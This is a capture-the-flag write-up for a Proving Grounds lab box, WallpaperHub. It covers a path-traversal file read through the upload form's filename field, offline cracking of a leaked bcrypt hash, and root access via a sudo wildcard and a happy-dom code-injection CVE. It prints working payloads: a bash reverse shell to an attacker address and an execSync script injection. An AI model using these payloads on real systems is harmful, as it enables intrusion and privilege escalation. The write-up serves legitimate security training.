Skip to content

WallpaperHub Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

WallpaperHub’s upload feature trusts the client-supplied filename, so a path traversal in the multipart form data turns the download feature into an arbitrary file read, leaking the app’s SQLite database and a crackable password hash. Privilege escalation abuses a sudo rule running a Node.js tool vulnerable to CVE-2024-51757, reached through a wildcard path traversal.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp   open  http  Apache 2.4.58 (Ubuntu default page)
5000/tcp open  http  Werkzeug 3.0.1 Python 3.12.3 (WallpaperHub)
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 5000 runs WallpaperHub, a wallpaper-sharing app with registration, upload, and download features. Register an account to access them.

Exploitation

File upload path traversal

Upload any image, intercepting the request in Burp Suite.

Content-Disposition: form-data; name="file"; filename="image.png"

Rewrite the filename field to a traversal path before forwarding.

Content-Disposition: form-data; name="file"; filename="../../../../../etc/passwd"

The upload succeeds, and downloading it from My Uploads serves /etc/passwd instead of an image, confirming the filename is never sanitized. Repeat the trick against the application’s own SQLite database.

Content-Disposition: form-data; name="file"; filename="../../../../../home/wp_hub/wallpaper_hub/database.db"

Downloading it again retrieves the full SQLite file. Open it and dump the users table.

┌──(kali㉿kali)-[~]
└─$ sqlite3 database.db "SELECT * FROM users;"
wp_hub|0|$2b$12$lgsrjRa0imePu9iSnp1UsOPLWqAKKYym/z5R59UijsYZ5ss1nwijS|Wallpaper Hub New user.

Crack the bcrypt hash offline.

┌──(kali㉿kali)-[~]
└─$ echo '$2b$12$lgsrjRa0imePu9iSnp1UsOPLWqAKKYym/z5R59UijsYZ5ss1nwijS' > wp_hub.hash
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt wp_hub.hash
wp_hub:$WP_HUB_PASSWORD

The cracked password works over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh wp_hub@$TARGET_IP
wp_hub@wallpaperhub:~$ id
uid=1001(wp_hub) gid=1001(wp_hub) groups=1001(wp_hub)

Shell as wp_hub and local.txt.

Privilege Escalation

Sudo wildcard + happy-dom code injection (CVE-2024-51757)

Check sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
(root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html

web-scraper is a Node.js tool built on happy-dom, which is vulnerable to CVE-2024-51757: the src attribute of a <script> tag is evaluated as a string concatenation, so embedding require('child_process').execSync() in it achieves code execution. The wildcard path also lets a file outside the restricted directory be passed in via traversal.

┌──(kali㉿kali)-[~]
└─$ echo '#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1' > /tmp/pwned.sh
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/pwned.sh
<html>
<body>
<script src="https://localhost:8080/'+require('child_process').execSync('/tmp/pwned.sh')+'"></script>
</body>
</html>

Port 80 is used for the callback since outbound traffic on non-standard ports is blocked by an egress firewall rule. Start a listener and trigger the payload through the sudo rule.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/pwned.html
id
uid=0(root) gid=0(root) groups=0(root)

The wildcard traversal reaches the malicious HTML, and the happy-dom code injection runs as root.

References